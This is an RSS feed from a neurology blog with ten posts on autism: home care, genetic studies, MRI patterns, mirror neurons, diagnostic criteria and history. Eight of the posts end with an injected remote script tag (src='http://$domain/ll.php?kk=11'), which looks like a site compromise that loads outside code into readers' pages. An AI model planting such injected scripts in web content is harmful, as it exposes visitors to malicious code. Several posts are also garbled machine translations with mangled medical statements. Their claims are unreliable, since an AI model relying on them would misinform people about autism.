<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Neurology Diagnostics &#187; Autism</title>
	<atom:link href="http://www.neurodiagnosticdevices.com/tag/autism/feed" rel="self" type="application/rss+xml" />
	<link>http://www.neurodiagnosticdevices.com</link>
	<description>Discovering The Latest Update in Neurology Diagnostics</description>
	<lastBuildDate>Sun, 29 Jan 2012 11:45:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Caring for Autism Around the Home</title>
		<link>http://www.neurodiagnosticdevices.com/caring-for-autism-around-the-home.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/caring-for-autism-around-the-home.htm#comments</comments>
		<pubDate>Tue, 17 Jan 2012 17:16:38 +0000</pubDate>
		<dc:creator>Jeremie Andulista</dc:creator>
				<category><![CDATA[Autism]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=660</guid>
		<description><![CDATA[Autism treatment at home differs significantly from care strategies employed by schools and excursions. Through the appropriate care tactics, it is entirely possible to make being at home more than comfortable for everyone. Parents with autistic children ought to begin implementing strategies around the home early in order for their child to begin learning valuable [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.autismcareuk.com/">Autism treatment</a> at home differs significantly from care strategies employed by schools and excursions. Through the appropriate care tactics, it is entirely possible to make being at home more than comfortable for everyone. Parents with autistic children ought to begin implementing strategies around the home early in order for their child to begin learning valuable life skills.  </p>
<p><strong>Reinforced Learning </strong></p>
<p>Autistic children could learn skills in a therapist’s office that may get lost by the time they get home. This can be attributed to environmental inconsistencies in the between the office and home. An effective way of adapting skills learnt out of the home is through reinforcement and consistency. If a child learns a skill with a teacher or therapist, such as sign language, parents should use the same skill when at home, which not only helps reinforce and prevent skills from being forgotten, but it will also make the task consistent between the two different settings. </p>
<p><strong>Make a Schedule </strong></p>
<p>Keeping a schedule for the entire day is a key to successfully taking care of an individual with autism, particularly at home where schedules are more relaxed than in school or therapy. Create a schedule from the time your child gets up to the time they go to bed. Once completed, always stick to the schedule. Meal and play times should always fall at the same time, remaining the same throughout weekends, holidays and summer break – although days without school should have a schedule convenient for the whole family. Such scheduling helps keep disruptive behaviour to a minimum. </p>
<p><strong>Learning Non-verbal Cues </strong></p>
<p>Many autistic individuals use non-verbal cues as often if not more than verbal cues to communicate. Ensure that you watch for signals such as hand gestures/facial expressions that show common needs, such as hunger or sleepiness. Learning these cues will require constant and keen observation. </p>
<p><strong>Pay Attention to Sensory Sensitivities </strong></p>
<p>Sensitivity to particular stimulation can be a huge contributor towards disruptive behaviour in an autistic child. At home, parents can minimise the sensitivities that may result in irritation or misbehaviour whilst maximising the calming sensory stimulus. As each child is unique, you will need to things that trigger tantrums or poor behaviour such as noises, colours, tastes or smells. Make sure to pay attention to things that calm or soothe, then incorporate the calming stimulus into your home environment. </p>
<p><strong>Making the Home Safe </strong></p>
<p>As autism can often result in self-injury through tantrums or poor behaviour, it is important for the family to take special care and provide a safe environment in the home. Where possible, move breakable objects to an inaccessible area and put safety locks on all cabinets. Also make sure to minimise furniture with sharp edges. </p>
<p>To Conclude </p>
<p>Taking the necessary steps to provide a safe and calm environment with a thorough and consistent schedule can result in a happier life for those with autism.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/caring-for-autism-around-the-home.htm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Autism and congenital roots</title>
		<link>http://www.neurodiagnosticdevices.com/autism-and-congenital-roots.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/autism-and-congenital-roots.htm#comments</comments>
		<pubDate>Thu, 10 Nov 2011 03:41:46 +0000</pubDate>
		<dc:creator>onky</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[Autism and congenital roots]]></category>
		<category><![CDATA[congenital roots]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=608</guid>
		<description><![CDATA[The largest genetic study of people with autism to date found that many patients have their own pattern of genetic mutations, which is not necessarily inherited from their parents. The results published in the journal Nature help confirm the strong role of genes in autism and also suggest that small genetic disruptions may begin in [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://www.neurodiagnosticdevices.com/wp-content/uploads/2011/11/Autism-and-congenital-roots.jpg"><img class="alignleft size-medium wp-image-609" title="Autism and congenital roots" src="http://www.neurodiagnosticdevices.com/wp-content/uploads/2011/11/Autism-and-congenital-roots-300x200.jpg" alt="Autism and congenital roots" width="300" height="200" /></a>The largest genetic study of people with autism to date found that many patients have their own pattern of genetic mutations, which is not necessarily inherited from their parents.</p>
<p style="text-align: justify;">The results published in the journal Nature help confirm the strong role of genes in autism and also suggest that small genetic disruptions may begin in the eggs and sperm of the parents.</p>
<p style="text-align: justify;">&#8220;Our research strongly indicates that these rare genetic variations are important and represent a significant portion of the genetic basis of autism,&#8221; said Tony Monaco of the Wellcome Trust Centre for Human Genetics at Oxford University, who helped lead the study.<br />
&#8220;By identifying the genetic causes of autism, we hope in the future to improve the diagnosis and treatment of this condition, which can affect children and their families very seriously,&#8221; he told reporters.<br />
Stephen Scherer, Hospital for Sick Children in Toronto, Canada, said the results could &#8220;lead to a paradigm shift in relation to compression of the roots of autism.&#8221; Scientists from 60 research centers in 12 countries worked for three years in the Autism Genome Project.<br />
The disease is a complex and mysterious brain disorder that is often diagnosed in the early years of life. It is characterized by difficulties in social interaction, communication and understanding of emotions and behaviors of others. Autism disorders are diagnosed in one in every 110 U.S. children, affecting four times more boys than girls. In Britain, about 133,500 children suffer from the disease, according to the National Autistic Society.<br />
Genome Project studied the genes of 996 people with the disease and 1,287 healthy, all of European descent. The team found that people with autism tended to have more landslides and duplications of whole portions of DNA. These absences or insertions are called copy number variants and can disrupt the functioning of genes.<br />
Single mutation<br />
Autistic people have, on average, 19 percent of these genetic changes, compared with those who did not have the condition. The team also found that each case had a different set of disturbances, although some of the affected genes have similar functions.<br />
&#8220;Here is where it gets tricky, each child had a different disturbance in a different gene,&#8221; said Dr. Stanley Nelson of the University of California Los Angeles. Daniel Geschwind, also of UCLA, said the results suggest that &#8220;during the formation of eggs and sperm of parents tiny genetic errors may occur,&#8221; and these variations are copied into the child&#8217;s DNA.<br />
&#8220;The autistic boy is the first in his family to have that option. His parents did not have it,&#8221; he said. The results support an emerging consensus within the scientific community indicating that autism is caused in part by &#8220;rare variants&#8221; or genetic changes found in less than 1 percent of the general population. What the study does not answer is how genetic changes occur. The environment can alter genes, and some studies linked the age of parents with autism.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/autism-and-congenital-roots.htm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mind wanders, unhappy mind</title>
		<link>http://www.neurodiagnosticdevices.com/mind-wanders-unhappy-mind.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/mind-wanders-unhappy-mind.htm#comments</comments>
		<pubDate>Wed, 24 Nov 2010 05:19:34 +0000</pubDate>
		<dc:creator>Sahacrash</dc:creator>
				<category><![CDATA[Health Info]]></category>
		<category><![CDATA[Autism]]></category>
		<category><![CDATA[autistic]]></category>
		<category><![CDATA[autistic children]]></category>
		<category><![CDATA[brain activity]]></category>
		<category><![CDATA[brain patterns]]></category>
		<category><![CDATA[children]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=335</guid>
		<description><![CDATA[The erratic thinking is honored to be responsible for major discoveries like the law of gravity of Newton. All of us have ever experienced the benefits of letting our minds wander: the word on the tip of the tongue, where we left the screwdriver, the name of an old friend &#8230; But the price we [...]]]></description>
			<content:encoded><![CDATA[<p>The erratic thinking is honored to be responsible for major discoveries like the law of gravity of Newton. All of us have ever experienced the benefits of letting our minds wander: the word on the tip of the tongue, where we left the screwdriver, the name of an old friend &#8230; But the price we pay for thinking instead of focusing on what we are doing could be high. Nothing less than happiness.</p>
<p>The brain is a kind of &#8216;super computer&#8217;, <a href="http://www.neurodiagnosticdevices.com/are-brain-patterns-of-autism.htm">complex operation</a>, which we know only a small part. We know it has conscious and unconscious activity, both of equal importance as they allow complex actions simultaneously and seamlessly, and is capable of thinking about the dinner menu while we attend a work call, a real evolution.</p>
<p>This ability to digression seems to be the default operating mode of the brain &#8220;, explained Matthew Killingsworth and Daniel Gilbert, Harvard University (Cambridge, USA), in the pages of the journal Science. Without it, certain situations would be terribly boring, like driving for hours, sunbathing or jogging. But it appears that &#8220;abuse&#8221; a little of this resource.<span id="more-335"></span></p>
<p>Killingsworth and Gilbert, moved by the teachings of various religious and spiritual they enact that happiness is in the &#8216;carpe diem&#8217;, they wondered if the famous aphorism coined by the poet Horace hid the key to a happy life. If you focus on the &#8216;now&#8217; and put aside the past and the future is good for emotional health.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/mind-wanders-unhappy-mind.htm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Are brain patterns of autism</title>
		<link>http://www.neurodiagnosticdevices.com/are-brain-patterns-of-autism.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/are-brain-patterns-of-autism.htm#comments</comments>
		<pubDate>Wed, 24 Nov 2010 05:12:49 +0000</pubDate>
		<dc:creator>Sahacrash</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[autistic]]></category>
		<category><![CDATA[autistic children]]></category>
		<category><![CDATA[brain activity]]></category>
		<category><![CDATA[brain patterns]]></category>
		<category><![CDATA[children]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=329</guid>
		<description><![CDATA[The use of MRI has uncovered three distinct patterns of brain activity in autism. A group of researchers at Yale School of Medicine in New Haven (USA) has identified a pattern of brain activity that may characterize genetic vulnerability associated with the development of autism spectrum disorders. The results of their work, which was coordinated [...]]]></description>
			<content:encoded><![CDATA[<p>The use of MRI has uncovered three distinct patterns of <a href="http://www.neurodiagnosticdevices.com/your-brain-is-defined-as-a-person-take-care-of-him.htm">brain activity</a> in autism.</p>
<p>A group of researchers at Yale School of Medicine in New Haven (USA) has identified a pattern of brain activity that may characterize genetic vulnerability associated with the development of autism spectrum disorders. The results of their work, which was coordinated by Kevin A. Pelphrey, published today in Proceedings of the National Academy of Sciences.</p>
<p>By using MRI, the authors have analyzed the brains of autistic children and siblings of those affected do not have the disease. The analysis was done as they watched animations that mimic the biological motion. Compared with the control group, Pelphrey and his team observed three distinct neural signatures.</p>
<p><strong>Offset the risk</strong></p>
<p>The first refers to a reduced brain activity in regions that autistic children and siblings had in common and that explains the brain disrrupciones to the disease. The second is a similarly reduced activity in regions linked only to the affected children, which provides neuroendofenotipos linked to genomic complexity and heterogeneity of the disease. The third point to increased activity in areas related only unaffected siblings.<span id="more-329"></span></p>
<p>The researchers propose that this third neurological signs suggestive of neurological mechanisms by which offset unaffected siblings acquired genetic risk. As explained in the study, the results of their research could help improve the knowledge of neural networks disrupted in autism, in addition to genetic and molecular etiology of the disease.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/are-brain-patterns-of-autism.htm/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Autism Spectrum</title>
		<link>http://www.neurodiagnosticdevices.com/autism-spectrum.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/autism-spectrum.htm#comments</comments>
		<pubDate>Wed, 23 Jun 2010 17:11:15 +0000</pubDate>
		<dc:creator>Rio Ferdinand</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[Allen autistic disabilities]]></category>
		<category><![CDATA[autis]]></category>
		<category><![CDATA[autism spectrum]]></category>
		<category><![CDATA[term "autism]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=108</guid>
		<description><![CDATA[In addition to categorizing subdivisions of autism in several, are clearly delimited from each species are the Autism spectrum or autism spectrum disorder (ASD). This is a concept of a smooth transition between the different forms, one in particular in the growing English-speaking point of view of such a continuum of different forms. Represented approximately [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">In addition to categorizing <a href="http://www.neurodiagnosticdevices.com/diagnostic-criteria-of-autism.htm"><em><strong>subdivisions of autism</strong></em></a> in several, are clearly delimited from each species are the</p>
<ul>
<li style="text-align: justify;"> <a href="http://www.neurodiagnosticdevices.com/category/autism"><em><strong>Autism spectrum </strong></em></a>or autism spectrum disorder (ASD). This is a concept of a smooth transition between the different forms, one in particular in the growing English-speaking point of view of such a continuum of different forms. Represented approximately by Tony Attwood, who justified his view with the possibility of transitions in individual cases. For example there are autistic people that meet the diagnostic criteria of <a href="http://www.neurodiagnosticdevices.com/at-7-months-infants-and-distinguish-emotions-through-voice.htm"><em><strong>Asperger&#8217;s syndrome</strong></em></a>, the abnormalities in early childhood, however, corresponded to the diagnosis of Kanner&#8217;s syndrome. Moreover, it is doubtful whether one based on theoretical models of intelligence IQ measurement or an arbitrary maximum age limit for the language used for the distinction.</li>
</ul>
<p style="text-align: justify;">Published a study by a significant proportion of ICD-10 were diagnosed with <a href="http://www.neurodiagnosticdevices.com/tag/autism-spectrum"><em><strong>infantile autism</strong></em></a> or atypical autism diagnosed according to people with Asperger Gillberg diagnostic criteria.</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/autism-spectrum.htm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subclinical Forms of Autism</title>
		<link>http://www.neurodiagnosticdevices.com/subclinical-forms-of-autism.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/subclinical-forms-of-autism.htm#comments</comments>
		<pubDate>Mon, 21 Jun 2010 17:04:55 +0000</pubDate>
		<dc:creator>Rio Ferdinand</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[autism spectrum]]></category>
		<category><![CDATA[clinical autism spectrum]]></category>
		<category><![CDATA[High Functioning Autism]]></category>
		<category><![CDATA[Subclinical Forms of Autism]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=105</guid>
		<description><![CDATA[A clinical autism spectrum diagnosis by doctors or psychologists usually placed under the condition that a person suffers in several areas of life. A person may well be autistic, but because of their situation in life, talent and / or support of education, training, employers, friends, partners or other forms of support to cope well [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" title="autism" src="http://www.sf.tv/webtool/data/pics/pulsmerk/web-autismus-2_2.jpg" alt="" width="168" height="179" /></p>
<ul style="text-align: justify;">
<li> A <a href="http://www.neurodiagnosticdevices.com/diagnostic-criteria-of-autism.htm"><em><strong>clinical autism spectrum</strong></em></a> diagnosis by doctors or psychologists usually placed under the condition that a person suffers in several areas of life. A person may well be autistic, but because of their situation in life, talent and / or support of education, training, employers, friends, partners or other forms of support to cope well enough to get no clinical diagnosis. In this case, such a person may receive a diagnosis, if, after a possible loss of aid leads to an anomaly, so that doctors and therapists can justify a clinical diagnosis.</li>
<li> The question of whether it is in autism or autism spectrum disorders a category or a dimension is unclear. There is literature on <a href="http://www.neurodiagnosticdevices.com/category/autism"><em><strong>subclinical forms of autism</strong></em></a>, a chapter about &#8220;Autistic Echos&#8221; in the book &#8220;The shadow syndrome: Neurobiology and mild forms of mental disorders&#8221;. In research, the concept of a &#8216;Broad Autism Phenotypes examines&#8217;, such as autistic traits from parents of autistic children.</li>
<li> Some other official (ICD-10/DSM-IV) and unofficial (not in ICD-10/DSM-IV) diagnoses are examined in relation to autism, such as Hyperlexia, nonverbal learning disability, dyspraxia, sensory integration disorder or linguistic-pragmatic disorder . The issue of these as a separate diagnosis, or rather as part of a broader <a href="http://www.neurodiagnosticdevices.com/tag/autism"><em><strong>autism spectrum</strong></em></a> may be seen is unclear.</li>
</ul>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/subclinical-forms-of-autism.htm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hystory of Autism</title>
		<link>http://www.neurodiagnosticdevices.com/hystory-of-autism.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/hystory-of-autism.htm#comments</comments>
		<pubDate>Fri, 11 Jun 2010 16:40:20 +0000</pubDate>
		<dc:creator>Rio Ferdinand</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[autistic spectrum disorders]]></category>
		<category><![CDATA[Hystory of Autism]]></category>
		<category><![CDATA[infantile autism]]></category>
		<category><![CDATA[term "autism]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=95</guid>
		<description><![CDATA[Leo Kanner (Lit: Kanner 1943) and Hans Asperger (ref: Asperger 1938) took the notion &#8211; independently &#8211; on and described a special kind of disorder you distinguish this people with schizophrenia to withdraw active in their affairs, of those who live from birth in a state of inner solitude. This expanded the meaning of the [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Leo Kanner (Lit: Kanner 1943) and Hans Asperger (ref: Asperger 1938) took the notion &#8211; independently &#8211; on and described a special kind of disorder you distinguish this people with schizophrenia to withdraw active in their affairs, of those who live from birth in a state of inner solitude. This expanded the meaning of the term &#8220;<a href="http://www.neurodiagnosticdevices.com/autism-symptoms-complaints.htm"><em><strong>autism&#8221;</strong></em></a>.</p>
<p style="text-align: justify;">Kanner took the <a href="http://www.neurodiagnosticdevices.com/tag/autistic-spectrum-disorders"><em><strong>term &#8220;autism&#8221;</strong></em></a> narrow, which corresponded broadly to the so-called infantile autism today (hence: Kanner&#8217;s syndrome). His view gained international recognition and became the basis for further autism research. The publications, however Asperger described &#8220;autism&#8221; were somewhat different and at first received little international. This was the one taking place simultaneously at the Second World War, partly because that Asperger published in German and it&#8217;s not translated into English texts for decades. Hans Asperger himself was called by him the syndrome described &#8220;autistic psychopathy&#8221;. The English psychologist Lorna Wing (Ref: Wing 1981) led her away in the 1980s and the name of an <a href="http://www.neurodiagnosticdevices.com/category/autism"><em><strong>Asperger&#8217;s Syndrome</strong></em></a>. Only in the 1990s, Asperger&#8217;s international research reputation acquired in professional circles.</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/hystory-of-autism.htm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Autism Symptoms &amp; Complaints</title>
		<link>http://www.neurodiagnosticdevices.com/autism-symptoms-complaints.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/autism-symptoms-complaints.htm#comments</comments>
		<pubDate>Sat, 05 Jun 2010 16:29:34 +0000</pubDate>
		<dc:creator>Rio Ferdinand</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[Allen autistic disabilities]]></category>
		<category><![CDATA[autism spectrum]]></category>
		<category><![CDATA[Autism Symptoms & Complaints]]></category>
		<category><![CDATA[autistic spectrum disorders]]></category>
		<category><![CDATA[symptoms of autistic disabilities.]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=90</guid>
		<description><![CDATA[A small boy with autism and the exact line of toys, which he filed together. The symptoms and the individual forms of autism are varied, they misjudged by mild behavioral problems at the border of the low profile (such as &#8220;timidity&#8221;) to severe mental retardation range. Allen autistic disabilities are impairments in social behavior in [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">A small boy with<a href="http://www.neurodiagnosticdevices.com/diagnostic-criteria-of-autism.htm"><em><strong> autism</strong></em></a> and the exact line of toys, which he filed together. The symptoms and the individual forms of autism are varied, they misjudged by mild behavioral problems at the border of the low profile (such as &#8220;timidity&#8221;) to severe mental retardation range.</p>
<p style="text-align: justify;"><a href="http://www.neurodiagnosticdevices.com/category/autism"><em><strong>Allen autistic disabilities </strong></em></a>are impairments in social behavior in common: difficulty in speaking with others (for example due to monotonous prosody), been said to be interpreted correctly, use facial expressions and body language and understand.</p>
<p style="text-align: justify;">Core symptoms associated with autistic disabilities is primarily the difficulty of communicating with other people (first and second diagnostic criterion). Alternatively, stereotyped or ritualization practices (third diagnostic criterion) explores all the core<a href="http://www.neurodiagnosticdevices.com/identify-areas-of-the-brain.htm"><em><strong> symptoms of autistic disabilities.</strong></em></a> Autistic people show fundamental differences from non-autistic people in the processing of sensory impressions and the way the discernment and intelligence. The differences in perception is explored as a core<a href="http://www.neurodiagnosticdevices.com/"><em><strong> symptoms of autism.</strong></em></a></p>
<p style="text-align: justify;">
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/autism-symptoms-complaints.htm/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Diagnostic Criteria of Autism</title>
		<link>http://www.neurodiagnosticdevices.com/diagnostic-criteria-of-autism.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/diagnostic-criteria-of-autism.htm#comments</comments>
		<pubDate>Wed, 02 Jun 2010 16:01:27 +0000</pubDate>
		<dc:creator>Rio Ferdinand</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[autism spectrum]]></category>
		<category><![CDATA[Diagnostic Criteria of Autism]]></category>
		<category><![CDATA[infantile autism]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=87</guid>
		<description><![CDATA[Autism (from Gr αὐτός &#8220;itself) is classified by the World Health Organization as a pervasive developmental disorder, is by doctors, researchers, families and autistic self-described as a congenital, incurable perception and information processing disorder of the brain that are already in early childhood noticeable. Other researchers  and autistic people describe autism as a different mode [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://www.neurodiagnosticdevices.com/the-mirror-neurons-of-well-functioning-autism.htm"><em><strong>Autism</strong></em></a> (from Gr αὐτός &#8220;itself) is classified by the World Health Organization as a pervasive developmental disorder, is by doctors, researchers, families and autistic self-described as a congenital, incurable perception and information processing disorder of the brain that are already in early childhood noticeable. Other researchers  and autistic people describe autism as a different mode of information congenital, which is indicated by weakness in social interaction and communication, and by stereotyped behavior patterns and strengths in perception, attention, memory and intelligence.</p>
<p style="text-align: justify;"><img class="aligncenter" title="utism" src="http://www.wdr.de/tv/quarks/_quiz/autismus_01.gif" alt="" width="161" height="215" /></p>
<p style="text-align: justify;">In the current diagnostic criteria, it is a distinction between <a href="http://www.neurodiagnosticdevices.com/identify-areas-of-the-brain.htm"><em><strong>infantile autism</strong></em></a> (Kanner syndrome) and Asperger&#8217;s syndrome, which often becomes apparent only after the third year of life. Many doctors believe, however, has become an <a href="http://www.neurodiagnosticdevices.com/category/autism"><em><strong>autism spectrum</strong></em></a> (autism spectrum disorder), the different severity knows.</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/diagnostic-criteria-of-autism.htm/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The &#8216;mirror neurons&#8217; of well-functioning autism</title>
		<link>http://www.neurodiagnosticdevices.com/the-mirror-neurons-of-well-functioning-autism.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/the-mirror-neurons-of-well-functioning-autism.htm#comments</comments>
		<pubDate>Fri, 21 May 2010 06:36:00 +0000</pubDate>
		<dc:creator>Sahacrash</dc:creator>
				<category><![CDATA[Autism]]></category>
		<category><![CDATA[autistic spectrum disorders]]></category>
		<category><![CDATA[brain system]]></category>
		<category><![CDATA[hypothesis]]></category>
		<category><![CDATA[Neuron]]></category>
		<category><![CDATA[patients]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=76</guid>
		<description><![CDATA[When someone waves to them, our brain is capable of processing the gesture as something friendly and allows us to imitate. This is possible thanks to the mirror neuron system, a set of nerve cells, to date, it was thought that could go wrong in autistic spectrum disorders. However, a study published in &#8216;Neuron&#8217; indicates [...]]]></description>
			<content:encoded><![CDATA[<p>When someone waves to them, our brain is capable of processing the gesture as something friendly and allows us to imitate. This is possible thanks to the mirror neuron system, a set of nerve cells, to date, it was thought that could go wrong in autistic spectrum disorders. However, a study published in &#8216;Neuron&#8217; indicates that their normal activity in these patients.</p>
<p>The theory made sense. One of the most striking features of people with autism is their inability to imitation, empathy and understanding of the intent of the gestures of others. If mirror neurons are crucial for social interaction, it was logical to think that something is wrong with this <a href="http://www.neurodiagnosticdevices.com/identify-areas-of-the-brain.htm">brain system.</a> In fact, some studies appeared to confirm the hypothesis.</p>
<p>But these works were overlooked something important. &#8220;No evaluated the selectivity of cortical activity in areas of particular movements mirror system,&#8221; says principal investigator, Ilan Dinstein, Department of Psychiatry at the University of New York (USA). This selectivity of movement is not simply the distinction that our brain makes every gesture, by storing a single neuronal response.<span id="more-76"></span></p>
<p>That is, when we see someone with a closed fist with the thumb pointed up a number of activated neurons, other than one which is &#8216;light&#8217; when the thumb is down. The same happens when you run a gesture. This allows an accurate perception and interpretation of the observed motions. With repetition, moreover, these subpopulations engaged in selective adjusting movement.</p>
<p>According to the mirror system hypothesis, people with autism spectrum disorders (ASD) have weaker responses in these neurons and reduced adaptation. However, Dinstein and his colleagues reasoned that if the studies with monkeys have not provided evidence of a causal relationship between the mirror system and the ability of primates to understand the meaning of a particular movement, it is possible that in humans is similarly.</p>
<p>So a new experiment designed to determine the activity of mirror neurons in people with ASD and concluded that its adaptation to the observation or repeated execution of a gesture, in this case the hand was normal. This finding suggests that the difficulty that these individuals have to communicate socially is not due to a malfunction of this system.</p>
<p>&#8220;Our research focused on a key aspect of motion perception that previous studies had overlooked, the ability of neuronal populations from areas of the mirror system to distinguish different movements of his hand,&#8221; explains Dinstein. &#8220;The finding that these groups and normal cells respond selectively to a particular gesture discusses the existence of cerebral dysfunction in this system,&#8221; he adds.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/the-mirror-neurons-of-well-functioning-autism.htm/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

